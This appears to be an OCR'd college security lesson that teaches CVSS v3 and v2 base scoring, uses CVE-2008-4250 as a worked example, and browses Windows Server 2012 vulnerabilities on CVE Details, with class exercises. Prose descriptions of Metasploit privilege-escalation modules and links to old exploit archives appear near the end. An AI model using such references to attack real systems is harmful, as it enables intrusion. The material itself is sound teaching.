Scope (S)*
Unchanged (S:U) [RSENT-ERER]

Impact Metrics

Confidentiality Impact (C)*

None (C:N) | Low (C:iL)

Integrity Impact (1)*

None (1N} | Low (1) |IETEXCAN

Availability Impact (A)*

None (A:N)  Low (AiL) [RGIEGNGH))

Show Equations

The "calculator"”

Note that the impact
metrics refer to the
CIA triad.

* - All base metrics are required to generate a base score.
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CVE Scoring Rubric v3 - Base Score

5.1. Attack Vector

attacker explo
the vulnerable
component via
the network

- Yes

— No

vulnerability be
exploited from
across a routed
(OSI layer 3)

Does the
attacker require
physical access
o the target?

[— Yes P

Network (N)

Vulnerability is exploitable from
ucross the internel, or absent more
information, assume worst case

— No P

Adjacent (A)

Vulnerability is exploitable across a
limited physical or logical network
distance. i.e. bluetooth, wifi, etc

No

Local (L)

Attack is committed through a local
application vulnerability, or the
attucker is able to log in locally

Yes

Physical (P)

1 Attacker requires physical access to

the vulnerable component

Bas¢ score is
increasing the
farther (logically
and physically) the
attacker can be
from the target


https://www.first.org/cvss/user-guide

CIS 76 - Lesson 10

CVE Scoring Rubric v3 - Base Score

5.2. Attack Complexity

Low (L)
— Yes e Atlngkcr can exploit the vulnerability at A
any time, always ‘

an the attacke
exploit the

vulnerability at

will?

Base score is greater

when the attack can

be performed at will

Hhigh ()
No P Successful attack depends on conditions
beyond the uttacker’s control Note: this excludes user interaction



https://www.first.org/cvss/user-guide
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CVE Scoring Rubric v3 - Base Score

5.3. Privileges Required

» None (N)
No An unauthorized attacker .
be authorized to Base score is increasing
the exploitable No » ‘l:“""ki'-i" : i as fewer privileges are
component prior e it St required
to attack? administrator
— Yes e
privileges High (N)
ired?
required? Yes P Administrator or system level
@ocess required



https://www.first.org/cvss/user-guide
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CVE Scoring Rubric v3 - Base Score

5.4. User Interaction

None (N)
—— NO —P{ Attack can be accomplished
without any user interaction

Does the
attacker require
some other

.-
T

Base score is greater

when no user

z interaction is required
Required (R) s O
—— Yes —f Successful attack requires user
mteraction



https://www.first.org/cvss/user-guide
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CVE Scoring Rubric v3 - Base Score

5.5. Scope

7n the attacke
affect a component
whose authority is
different than the
vulnerable
omponent?

— Yeés —p

Changed (C)

Impacts caused to systems
beyond the exploitable
component

Unchanged (U)
Impuct is localized to the
exploitable component

Base score is greater when
impact affects systems beyond

the vulnerable component


https://www.first.org/cvss/user-guide
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CVE Scoring Rubric v3 - Base Score

5.6. Confidentiality Impact

OR is the disclosed

No P

High (1)
Yes - All information is disclosed to
¥ attacker, OR, only some critical
Is there any all information from information is disclosed
impact to Yes impacted component,
confidentiality? Low (L)

Some information can be
obtamned, and/or attacker does not
have control over kind or degree

No

None (N)

No information is disclosed

Base score is increasing in
the degree of information
disclosed



https://www.first.org/cvss/user-guide
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CVE Scoring Rubric v3 - Base Score

5.7. Integrity Impact

Is there any
impact to
integrity?

Yes

Jan attacker modih
all information of
impacted component,
OR is the modified
Qrmation critics

™ Yes P

High (H)
Attacker can modify any
information at any time, OR,
only some, critical information
cun be altered

e NO —’

Low (L)

Some information can be
altered, and’or attacker does not
have control over kind or degree

No

None (N)
No integrity loss

Base score is increasing in
the degree of information
that can be modified



https://www.first.org/cvss/user-guide
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CVE Scoring Rubric v3 - Base Score

5.8. Availability Impact

“an attacker
completely deny
access 1o the affected
component, OR is

s there any
impact to the
availability of a
resource?

Yes

No

Yes P

No

High (H)

Resource 1 completely unavailable,
OR select resource is critical to the
component

.’

Low (L)
Reduced performance or interruption
of resource availability or response

None (N)

No availability impact

Base score is increasing
in the degree of resource

availability affected


https://www.first.org/cvss/user-guide
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CVE Scoring Rubric v3 - Calculator

e - a X
& CVE - CVE-2016-7211 X NVD - CVE-2016-7211 x g8 NVD - CVSS 3 Caleulatc X NVD - CVSS v2 Calculate X/ H NVD - CVSS v3 Calculatc X
&« C | @ Secure | https//nvd.nist.gov/vuln-metrics/cvss/v3-calculator w0 @
S5 Apps Yahoo Cabrillo College Health Network CIS 76 links Lab Development Home Music Training [§ Expand Al [Y Link Comments Other bookmarks

fE Common Vulnerability Scoring System Calculator versions

This page shows the components of the CVSS score for example and allows you to refine the CVSS base score. Please

read the CVSS standards guide to fully understand how to score CVSS vulnerabilities and to interpret CVSS scores. The
scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and the Temporal
Score is used to calculate the Environmental Score.

Base Scores Temporal

Environmental Overall CVSS Base Score: NA
0.0 0.0 10.0 10.0 Impact Subscore: NA
8.0 8.0 8.0 8.0 Exploitability Subscore: NA
6.0 6.0 6.0 6.0 CVSS Temporal Score: NA S '// b h h
4.0 4 4.0 4.0 4.0 CVSS Environmental Score: NA Core WI e S O Wn ere
2.04 2.0 2.0 2.0 Modified Impact Subscore: NA
0o 00 00 0o Overall CVSS Score: NA
Base  Impact Exploitability Temporal Environmental Medified Impact overall
Show Equations
CVSS Vector
NA

Base Score Metrics

Scope (S)*
Unchanged (S:U)

Exploitability Metrics Changed 60
Attack Vector (AV)*

Network (AV:N) Adjacent Network (AV:A)
Attack Complexity (AC)*
Low (AC:L) High (AC:H)

Impact Metrics

Local (AV:L) Physical (AV:P)

Confidentiality Impact (C)*

None () Low G | High G Toggle selections here
Privileges Required (PR)* Integrity Impact (1)~

None (PR:N) Low (PR:L) High (PR:H) None (I:N} Low (l:L) High (I:H)
User Interaction (UI)* Availability Impact (A)*

None (ULN) Required (ULR) None (A:N) Low (A:L) High (A:H)

nvd.nist.gov/vuln-metrics/cvss/v3-calculator


https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

CVSS Rubric v3

Use the CVSS v3.0 calculator to calculate the base score of this
hypothetical vulnerability:

« Attack vector: must be on the same subnet as victim

« Attack complexity: can be easily repeated at any time

» Privileges required: must be authenticated as a normal user
« User interaction: no interaction required by victim

« Scope: extends beyond vulnerable component

« Confidentiality: attacker has full access to data content

« Integrity: attacker can modify data content

» Availability: attacker can deny access to data content

Write your CVSS base score calculation in the chat window

CIS 76 - Lesson 10‘}; I:i i ’ ‘W
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Older Vulnerabilities

gr X LN X N ox AN X

O Nox

Bnvx (Onx (Barrx (AN (BN (DN X (N X (TNM X ([N X BRI X

Q
=
x

& C | & https:;//cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

BV

Common Vulnerabilities and Exposures
The Standard for Information Security Vilnerability Names

Home | CVE IDs

About CVE | Compatible Products & More | Community | News | Site Search

HOME > CVE > CVE-2008-4250

Section Menu

CVE IDs
Coverage Goals
Reference Key/Maps
Updates & Feeds

CVE List (all existing CVE IDs)
Downloads
Search CVE List
Search Tips
View Entire CVE List (html)
NVD Advanced CVE Search
CVE ID Scoring Calculator

Request a CVE ID

CVE Numbering Authorities
(CNAs)

Requester Responsibilities
Update a CVE ID

Documentation
About CVE IDs
Terminology
Editorial Policies

Terms of Use

ALSO SEE

L
E

TOTAL CVE IDs: 79058

Printer-Friendly View

Learn more at National Vulnerability Database (NVD

+ Severity Rating » Fix Information « Vulnerable Software Versions « SCAP Mappings

CVE-2008-4250

Description
The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1,
Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary code via a crafted RPC request that triggers

the overflow during path canonicalization, as exploited in the wild by Gimmiv.A in October 2008, aka "Server Service
Vulnerability."

References

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to
be complete.

BUGTRAQ:20081026 Windows RPC MS0D8-067 FAQ document released
URL :http://www.securityfocus.com/archive/1/archive/1/497808/100/0/threaded
BUGTRAQ:20081027 Windows RPC MS0D8-067 FAQ document updated
URL:http://www.securityfocus.com/archive/1/archive/1/497816/100/0/threaded

MILWORM:6824
URL:http://www. milwOrm.com/exploits/6824
MILWORM: 6841
URL:http://www.milwOrm.com/exploits/6841
MILWORM:7104
URL:http://www. milwOrm.com/exploits/7104

This was the
vulnerability we

looked at in Lesson 1

MILWORM:7132
URL:http://www. milwOrm.com/exploits/7132
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National Vulnerability Database
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, Additional details are found |2 :
_ W A A - on the NIST National

National Vulnenability ﬁabase Vulnerability Database

automating vulnerability manage| . ity measurement, and compliance checking

Cheacklists . s::IS:,sto-SEA |;::<:ipu:t‘:'i.;lionar\r ‘Ahlllt WebSite in CIUding CVSS
T LELENGUA WY SCOES, adVISOI‘IeS,
e ey o  emY o CIE 200 2250 solutions, tools, and version

s Original release date: 10/23/2008
vulnerability management . .
information.

C | & https//web.nvd.nist.gov,

data. This data enables Last revised: 10/30/2012

autemation of Source: US-CERT/NIST
wulnerability

management, security Overview
measurement, and

compliance (e.g. FISMA). The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary code via a
crafted RPC request that triggers the overflow during path canonicalization, as exploited in the wild by Gimmiv.A in October 2008, aka "Server Service Vulnerability.”
Resource Status

Impact
NVD contail

70028 CUE vulnershiliies  CVSS Severity (version 2.0): YOU may see Version 20 or

el CVSS v2 Base Score: 10.0 HIGH

249 e j
MSS%MES Vector: (AV:N/AC:L/AUIN/C:C/T:C/A:C) (legend) VerS/On 3- 0 CVSS SCOreS

10286 DVAL Queries Impact Subscore: 10.0
115327 CPE Names

Last updated: 10/31/2016
deralr £ CVSS Version 2 Metrics:

CVE Publication rate: 21.57

Exploitability Subscore: 10.0

Access Vector: Network exploitable

Authentication: Not required to exploit

E;?t%[%gjei;ﬁg[g?”mg Impact Type: Provides administrator access, Allows
H /[ " complete confidentiality, integrity, and availability violation;
|nfnrm?at|pn z?“d . Allows unauthorized disclosure of information; Allows
subscription instructions disruption of service
please visit NVD Mailing
Lists
References to Advisories, Solutions, and Tools

Workload Index By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be
vl bility Workload drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views
Indr::(r'al_é]ls‘g& expressed, or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page
0es. U to nvd@nist.gov.

NVD is a product of the X .
NIST Computer Securit Name: http://blogs.securiteam.com/index.php/archives/1150
Division and is spensored  Hyperlink: http://blogs.securiteam.com/index.php/archives/1150
by the Department of
Homeland Security's
H 5 Ext 1 S : CERT-VN
National Cvber Security ema f)urce
Division. It supports the Name: VU#827267 -

External Source: MISC
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Common Vulnerability Scoring System (CVSS) v2

e Cx (ONx /AN (AN (N (ONx (AN (ONx (B4 x (AN (AN (ONx (BANXx (TNMX([INx (®BFx(GNx

C | a https://nvd.nist.gov/c

calculator?name=CVE-2008-42508&vector={AV:N// JAWN/CC/

o .n‘i * »
. Y Instiute of
. /s /e [{' Slsdorli mnd Tachunalogy
National Vulnenahility [Database
automating vulnerability managermenty ity measurement, and compliance checking
Vulnerabilities Checklists 800-53/800-53A Product Dictionary Impact Metrics Data Feeds Statistics FAQs
Home SCAP | scap vali Tools | scAP Events | About | Contact |vendar © | izati

Mission and Overview

NVD is the U.S.
government repository of
standards based
wulnerability management
data. This data enables Base Scores
automation of 100
wulnerability
management, security
measurement, and
compliance (e.g. FISMA).

Resource Status

Common Vulnerability Scoring System Version 2 Calculator - CVE-2008-4250

This page shows the components of the CWSS score for example and allows you to refine the CVSS base score. Please read the CVSS standards guide to fully understand how to score CVSS vulnerabilities
and to interpret CVSS scores. The scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and the Temporal Score is used to calculate the Environmental Score.

. Base score is 10 using the
s W older v2 version of the CVSS

4458 US-CERT Vuln Notes

10286 OVAL Queries ar
115327 CPE Names

calculator. The base score is
composed of Impact and

Last updated: 10/31/2016
1:32:20 PM 0.0

Base Impact Exploitability

Temporal Exploitability metrics which

CVE Publication rate: 21.57

NVD provides four mailing
lists to the public. For
information and
subscription instructions 6.0
please visit NVD Mailing ‘
Lists

40
Workload Index

Vulnerability Workload
Index: 10.83 =

NVD is a product of the L
NIST Computer Security . 7
Division and is sponsored '
by the Department of 10.0
Homeland Security's

National Cvber Security
Division. It supports the 8.0 i

are also shown.

-l

0

Environmental
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Common Vulnerability Scoring System (CVSS) v2

O X
g CX COANX /AN VAN (BANX (ONX (BN (ONX (Birx (AN (BANX (ONX (AN (TNVX (ONX(BiFAX(GNX
(& ‘ 8 https://nvd.nistgov/cvss/v2-calculator’name=CVE-2008-42508vector=(AV:N/AC L/ AuN/CC/:C/AC) Q ﬁ| o :

BV

cve.mitre.org

Common Canfiguration Erumeration

<o.CPE

common platiorm enumerstion

oval.mitre.org

CIVSSBaseaScure o 10 The base Score Of 10 iS
e 0 determined by the calculator

Exploitability Subscore 10

CVSS Temporal Score Not Defined ing b l W

CVSS Environmental Score Not Defined Sett S e O "

Modified Impact Subscore 0

Overall CVSS Score 10
Show Equations

CVSS v2 Vector (AV:N/AC:L/Au:N/C:C/T:C/A:C)

~ Base Score Metrics

Exploitability Metrics Impact Metrics

Access Vector (AV)™ Confidentiality Impact (C)*
[iocat ) | e v [T o | it D

Access Complexity (AC)*

Integrity Impact (I)*
ke o | maom v [
Authentication (Au)™ Availability Impact (A)*
ECiErey

* - All base metrics are required to generate a base score.

» Temporal Score Metrics

» Environmental Score Metrics

Update Scores H Clear Form

Disclaimer Notice & frivacy Statement / Security Notice
Send cammaents or suggestians fa nvd Enist.gov
MIST is an Agency of the LS. Department of Commerce
NVD Services Version 3.7
Full vulnersbility listing
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CVE Scoring Rubric v2 - Base Score

CVSS Base Score 10
Impact Subscore 10
Exploitability Subscore 10
CVSS Temporal Score Not Defined

CVsS Environmental Score Not Defined
Modified Impact Subscore 0

Overall CVSS Score 10
Show Equations

~ Base Score Metrics

Exploitability Metrics Impact Metrics

Access Vector (AV)™ Confidentiality Impact (C)™

| Local (AV:L) | Adjacent Network (AV:A) ‘m | None (c:N) | Partial (c:P) |
Access Complexity (AC)™ Integrity Impact (I)*

| High (AC:H) | Medium (Ac:M) | | None (1:N) | Partial (1:P) ‘
Authentication (Au)™ Availability Impact (A)*

| Multiple (Au:M) | Single (Au:s) |m | None (A:N) | Partial (a:P) |
* - All base metrics are required to generate a base score.



https://nvd.nist.gov/cvss/v2-calculator?name=CVE-2008-4250&vector=(AV:N/AC:L/Au:N/C:C/I:C/A:C)

CIS 76 - Lesson 1011. : ; I:?‘ ‘ ’ |W

Vulnerabilities
CVE Detalils



CIS 76 - Lesson 10

CVE Details

[ CVE security vulnerabilit. X

& c | @ www.cvedetails.com/index.php @ & | (¢ ]

— ‘ H Search
CVE Details .

(e.g.: CVE- - or - or )] \i CVE
The ultimate security vulnerability datasource (e V20091234 r 20101234 or 2101230 [

Log In Register Vulnerability Feeds & WidgetsNew Ry ey eies a3

Switch to https://

Home
Browse : ' HH
oo Enter a CVE id, product, vendor, vulnerability t/| Search
Products
Vulnerabilities By Date . . .
Vulnerabilities By Type . i ) . ThIS Slte pFO VldeS the
Reports : Current CVSS Score Distribution For All Vulnerabilities .
ability to do searches on
CVSS Score Report .
CVSS Score Distribution ~ Distribution of all vulnerabilities by CVSS Scores wulnerability Distibutl Fh e vulnerabili ty
Search : CVSS Score Number Of Vulnerabilities Percentage
A 10 0.20 database and generate
Product Search 600 0.80 Summaries.
Version Search 3216 4.10 T
Vulnerability Search 3-4 1975 2.50 15609 15678 4.5
By Microsoft References 4-5 15609 19.80 11893 ;‘?
Top 50: 15678 19.80 o733 Hs
Vendors
Vendor Cvss Scores 2133 12.30 oo
Droduct 19837 25.10 W10
Froducts 346 0.40 122 600 1975
Product Cvss Scores — :
Versions 11893 15.10
Other : Total 79009
4 [ 4

120
http://www.cvedetails.com
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CVE Details

[ CVE security vulnerabilit. X \ [ Microsoft Windows Serv: X

&« > C |G) www.cvedetails.com/index.php @, *| (¢ ]

CVE Details

The ultimate security vulnerability datasource

windows 2012 |

Current CVSS Score Distribution For All Vulnerabilities

-

Let's look at Windows
2012 vulnerabilities

WIWWL TLSECUD L COTTT

(e.g.: CVE-2009-1234 or 2010-1234

Log In Register
Switch to https://

Home

Browse :

Vendors

Products
Vulnerabilities By Date

Vulnerabilities By Type

Reports :
CVSS Score Report

CVSS Score Distribution

Distribution of all vulnerabilities by CVSS Scores

Vulnerability Distribution By CVSS Scores

Search : CVSS Score Number Of Vulnerabilities Percentage CVSS Score Ranges
Mo
Vendor Search 122 0.20 Wi
Product Search 600 0.80 19837 Hos
Version Search 3216 4.10 3-4
15678
Vulnerability Search 3-4 1975 2.50 15609 4.5
By Microsoft References 4-5 15600 19.80 11893 23
Top 50: 15678 19.80 9733 Bs
Vendors
9733 12.30 Mso
Vendor Cvss Scores B
product 19837 25.10 3216 B
Products 216 0.40| 122 600 g 1970 346
Product Cvss Scores — [y — —
Versions 11893 15.10
Other : Total 79009

4 *
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CVE Details

- O X
[ CVE security vulnerabilit,. x '\ [ Microsoft Windows Serv. X
[ @ | @ www.cvedetails.com/google-search-results.php?g=windows+2012 Q| O
External Links : powered by ('.«u>3h: " Custom Search =
VD Website Microsoft Windows Server 2012 : CVE security vulnerabilities ...
CWE Web Site T TS DT e TO SO VYT WE =S eTVeT =20 T2 T e
View CVE : Microsoft Windows Server 2012 security vulnerabilities, exploits, metasploit modules, vulnerability statistics and list
Go of versions. . . . .
(e.g.: CVE-2009-1234 or This link will brlng us to a
2010-1234 or 20101234) i ; - ; it .
_ Microsoft Wlndo_ws Serve.r 2012 . _Llst of security vulnerabilitie summary Of a// W/ndo S
View BID : https:/fwww.cvedetails.com/.../Microsoft-Windows-Server-2012.html .
Go Security vulnerabilities of Microsoft Windows Server 2012 : List of all relateg 201 2 VU/nerabI//t/eS
(e.g.: 12345) Scores, vulnerability details and links to full CVE ...
Search By Microsoft
Reference ID: Metasploit modules related to Microsoft Windows Server 2012
Go www.cvedetails.com/.../Microsoft-Windows-Server-2012.html
(e.g.: ms10-001 or Metasploit modules related to Microsoft Windows Server 2012 Metasploit provides useful information and toaols for
979352) penetration testers, security researchers, and ...

CVE-2012-0002 : The Remote Desktop Protocol (RDP ...
www.cvedetails.com/cve/CVE-2012-0002/

Mar 6, 2013 ... CVE-2012-0002 : The Remote Desktop Protocol (RDP) implementation in Microsoft Windows XP
SP2 and SP3, Windows Server 2003 SP2, ...

Microsoft Windows Server 2012 version R2 : Security vulnerabilities
https:/fwww.cvedetails.com/.../Microsoft-Windows-Server-2012-R2.html

Security vulnerabilities of Microsoft Windows Server 2012 version R2 List of cve security vulnerabilities related to this
exact version. You can filter results by cvss ...

Microsoft Windows 7 : List of security vulnerabilities
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CVE Details

— [m] X
[ CVE security wulnerabilit. % / [ Microsoft Windows Serv. % { [ Microsoft Windows Serv: X [ Metasploit modules relz: X
c | @ www.cvedetails.com/product/23546/Microsoft-Windows-Server-2012.html?vendor_id=26 @ | D
CVE Details | L seh
(e.g.: CVE-2009-1234 or 2010-1234 or 20101234) | || View CVE

The ultimate security vulnerability datasource

Log In Register Vulnerability Feeds & WidgetsNew [y e

4

itcl https:// . . . s es
— Microsoft » Windows Server 2012 : Vulnerability Statistics

Home

Browse :
Vendors Vulnerabilities (372) CVSS Scores Report  Browse all versions Possible matches for this product Related Metasploit Mo
Products Related OVAL Definitions : Vulnerabilities (184)  Patches (0) Inventory Definitions (2)  Compliance Definitions (0)

Vulnerabilities By Date

Vulnerability Feeds & Widgets

Vulnerabilities By Type

Reports : Vulnerability Trends Over Time
CV55 Score Report tp
CVSS Score Distribution vy, # of Dos Code Overflow Memory Sal XSS Directory Response Bypass
Vulnerabilities Execution Corruption Injection Traversal .... _ something
Search : Splitting
Vendor Search 2012 5 2 2 1
Product Search 2013 51 12 17 17 3 1 2
Version Search
. 2014 38 9 11 2 3 6
Vulnerability Search
By Microsoft References 2015 155 16 46 1 9 1 31
Top 50: 2016 123 7 36 7 5 14
Vendors Total 372 44 112 42 20 2 54
Vendor Cvss Scores % Of
] 11.8 30.1 11.3 5.4 0.0 0.0 0.5 0.0 14.5
Products All

Product Cvss Scores

Warning : Vulnerabilities with publish dates before 1999 are not included in this table and chart

e and they make the page look bad; and they may not be actually published in those years.)

Other:

Info(::::tion Pﬁ(:l'alrges CSRF Incli-::;on
2
2 21
3 12
26 60
23 56
56 151

151 40.6 0.0 0.0

. (Because there are not many of tl
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CVE Details

- [m]

[ CVE security vulnerabilit,. x '\ [ Microsoft Windows Serv. X

[ @ | @ www.cvedetails.com/google-search-results.php?g=windows+2012

External Links :
NVD Website
CWE Web Site

(e.g.: CVE-2009-1234 or
2010-1234 or 20101234)

Search By Microsoft
Reference ID:

(e.g.: ms10-001 or
979352)

View CVE :

View BID :

(e.g.: 12345)

2% 0

powered by ('.uuglu " Custom Search

Microsoft Windows Server 2012 : CVE security vulnerabilities ...
www.cvedetails.com/.../Microsoft-Windows-Server-2012.html?...id...

Microsoft Windows Server 2012 security vulnerabilities, exploits, metasploit modules, vulnerability statistics and list
of versions.

Microsoft Windows Server 2012 : List of security vulnerabilities

TS T SV e TaTS. COTTY . e O SO WA O WS- SaTvaT- 20T Z e

Security vulnerabilities of Microsoft Windows Server 2012 : List of all related CVE security vulnerabilities. CVSS

*

-

Scores, vulnerability details and links to full CVE ...

Metasploit modules related to Microsoft Windows Server
www.cvedetails.com/.../Microsoft-Windows-Server-2012.html

Metasploit modules related to Microsoft Windows Server 2012 Metasp
penetration testers, security researchers, and ...

bring us to a list of all
Windows 2012
vulnerabilities

Going back, this link will

CVE-2012-0002 : The Remote Desktop Protocol (RDP ...
www.cvedetails.com/cve/CVE-2012-0002/

Mar 6, 2013 ... CVE-2012-0002 : The Remote Desktop Protocol (RDP) implementation in Microsoft Windows XP
SP2 and SP3, Windows Server 2003 SP2, ...

Microsoft Windows Server 2012 version R2 : Security vulnerabilities
https:/fwww.cvedetails.com/.../Microsoft-Windows-Server-2012-R2.html

Security vulnerabilities of Microsoft Windows Server 2012 version R2 List of cve security vulnerabilities related to this
exact version. You can filter results by cvss ...

Microsoft Windows 7 : List of security vulnerabilities
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CVE Details

- [m] *
CVE security vulnerabilit. 2 Microsoft Windows Serv: X Microsoft Windows Serv: X Metasploit modules rela: X
ty \ Pl
c | & https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2015/Microsoft-Windows-Server-2012.html @, 1}| (¢ ]
CVE Details | =
(e.g.: CVE-2009- o - )
( CVE-2009-1234 or 2010-1234 or 20101234 View CVE

The ultimate security vulnerability datasource

Log In Register

Home
Browse :

Vendors

Products

Vulnerabilities By Date

Vulnerabilities By Type

Reports :

CWSS Score Report
CVSS Score Distribution

Vulnerability Feeds & WidgetshNew

Microsoft » Windows Server 2012 : Security Vulnerabilities Published In 2015

2015 : January February March April May June July August September October MNovember December
CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9

Sort Results By : CVE Number Descending CVE Number Ascending CVSS Score Descending Number Of Exploits Descending
Total number of vulnerabilities : 155 Page : 1 (This Page)2 3 4

Copy Results Download Results

Search :
Vendor Search
Product Search
Version Search

Vulnerability Search

By Microsoft References
Top 50 :
Vendors

Vendor Cvss Scores

Products
Product Cvss Scores

Versions
Other :
Microsoft Bulletins

# CVE ID CWE #of  Vulnerability Publish Update Score Gained Access Complexity Authentication Conf.
ID  Exploits Type(s) Date Date Access
Level
1 CVE-2015-6174 264 +Priv 2015- 2015- 7.2 None  Local Low Not required Complete
12-09 12-09

The kernel in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Wi
Gold and R2, Windows RT Gold and 8.1, and Windows 10 Gold and 1511 allows local users to gain privileges via a crafted applicat
Kernel Memory Elevation of Privilege Vulnerability," a different vulnerability than CVE-2015-6171 and CVE-2015-6173.

+Priv 2015- 2015- Local Low

12-09 12-09

The kernel in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Wi
Gold and R2, Windows RT Gold and 8.1, and Windows 10 Gold and 1511 allows local users to gain privileges via a crafted applicat
Kernel Memory Elevation of Privilege Vulnerability," a different vulnerability than CVE-2015-6171 and CVE-2015-6174.

2 CVE-2015-6173 264 7.2 None Not required Complete

+Priv 2015- 2015- Local Low

12-09 12-09
The kernel in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Wilv

3 CVE-2015-6171 264 7.2 None Not required Complete

[T ' o P [ Va1 PR | [P " [ ' . ' oo "
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CVE Details

- [m] *
[ CVE security vulnerabilit,. x '\ [ Microsoft Windows Serv. X
[ @ | @ www.cvedetails.com/google-search-results.php?g=windows+2012 Q| O
External Links : powered by ('.uuglu " Custom Search -

NVD Website
CWE Web Site

View CVE :

(e.g.: CVE-2009-1234 or
2010-1234 or 20101234)

Search By Microsoft
Reference ID:

(e.g.: ms10-001 or
979352)

View BID :

(e.g.: 12345)

Microsoft Windows Server 2012 : CVE security vulnerabilities ...
www.cvedetails.com/.../Microsoft-Windows-Server-2012.html?...id...

Microsoft Windows Server 2012 security vulnerabilities, exploits, metasploit modules, vulnerability statistics and list
of versions.

Microsoft Windows Server 2012 : List of security vulnerabilities
https:/fwww.cvedetails.com/.../Microsoft-Windows-Server-2012.html

Security vulnerabilities of Microsoft Windows Server 2012 : List of all related CVE security vulnerabilities. CVSS
Scores, vulnerability details and links to full CVE ...

|Metasp|oit modules related to Microsoft Windows Server 2012
i K - - =LUTT LUl

Metasploit modules related to Microsoft Windows Server 2012 Metasploit provides useful information and toaols for
penetration testers, security researchers, and ...

Going back, this link will bring
CVE-2012-0002 : The Remote Desktop Protocol (R . Spey .
www.cvedetails.com/cve/CVE-2012-0002/ us to a list of vulnerabilities

Mar 6, 2013 ... CVE-2012-0002 : The Remote Desktop Protocq / 1 /
SP2 and SP3, Windows Server 2003 SP2, ... Wlth Metasp/OIt eXp/OItS

Microsoft Windows Server 2012 version R2 : Security vulnerabilities
https:/fwww.cvedetails.com/.../Microsoft-Windows-Server-2012-R2.html

Security vulnerabilities of Microsoft Windows Server 2012 version R2 List of cve security vulnerabilities related to this
exact version. You can filter results by cvss ...

Microsoft Windows 7 : List of security vulnerabilities
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CVE Details

[ CVE security vulnerabilit. X [ Microsoft Windows Serv: X [ Microsoft Windows Serv: X /' [ Metasploit modules rela: X

- a X

c G)www.cvedeta'\ls.com,-"me'.asplc|'.-mw:cL|IE'-.;"product-.B54—6.-"\1\cros-::‘t—‘.“-."indn:wz-Server-ZC12html Q% O
CVE Details o
. ) . . (e.g.: CVE-2009-1234 or 2010-1234 or 20101234) View CVE
The ultimate security vulnerability datasource

Log In Register Vulnerability Feeds & WidgetsNew Ry ey eies a3

Sulichto hitos Metasploit Modules Related To Microsoft Windows Server 2012

Home

Browse : CVE-2013-8 MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
Vendors Due to a problem with isolating window broadcast messages in the Windows kernel, an attacker can broadcast commands from &
Products

lower Integrity Level process to a higher Integrity Level process, thereby effecting a privilege escalation. This issue affecte
Vulnerabilities By Date Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, and RT. Note that spawning a command prompt with the
Vulnerabilities By Type shortcut key combination Win+Shift+# does not work in Vista, so the attacker will have to check if the user is already running &
Reports : command prompt and set SPAWN_PROMPT false. Three exploit techniques are available with this module. The WEB technique will
execute a powershell encoded payload from a Web location. The FILE technique will drop an executable to the file system, set it
to medium integrity and execute it. The TYPE technique will attempt to execute a powershell encoded payload directly from the
command line, but may take some time to complete.
Search : Module type : exploit Rank : excellent Platforms : Windows
Vendor Search

CVSS Score Report
CVSS Score Distribution

CVE-2013-1300 Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

Product Search
This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL

for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe,

achieving privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome's sandbox. NOTE: when &
By Microsoft References  meterpreter session started by this exploit exits, winlogin.exe is likely to crash.

Top 50 : Module type : exploit Rank : average Platforms : Windows

Version Search

Vulnerability Search

Vendors CVE-2013-3660 Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation
Vendor Cvss Scores

This module exploits a vulnerability on EPATHOBJ: :pprFlattenRec due to the usage of uninitialized data which allows to corrupt

Products memory. At the moment, the module has been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
Product Cvss Scores Module type : exploit Rank : average Platforms : Windows
Versions CVE-2013-3918 MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow
Other : This module exploits a vulnerability on the CardSpaceClaimCollection class from the icardie.dll ActiveX control. The vulnerability =
4 L4
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Activity

Use CVE Details to find how many "Gain Privileges"
vulnerabilities there have been in Windows 10.

http://www.cvedetails.com

How many did you find? Write your answer in the chat window.
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CVE Details

- [m] X
[ CVE security vulnerabilit, % /' [ Microsoft Windows Serve % ' [ Microsoft Windows Serv. % [% Metasploit medules rela: %
« > C |® www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2013/Microsoft-Windows-Server-201 2. html [CRE v # |
N OF L, WITIOUWS 7 OF I, WINUUWs O, WINUUWs oS Vel 2012, aid WTaovs InD OUSs MUt propeiy monuie OUjetts i ey, wWircrr
gain privileges via a crafted application, aka "DirectX Graphics Kernel Subsystem Double Fetch Vulnerability."
37 CVE-2013-1305 399 DoS 2013- 2016- |['7.8  None Remote  Low Not required  None
05-14 09-29

i e ved Going back to the fistof |7
38 CVE-2013-1300 264 Priv vulnerabilities there is one ired Complet:
win32k.sys in the kernel-mode drivers in Mi COlumn that Sho WS the Vista SP2, Wir
SP2 and R2 SP1, Windows 7 SP1, Windows number Of aval/able eX,D/OItS jects in memor

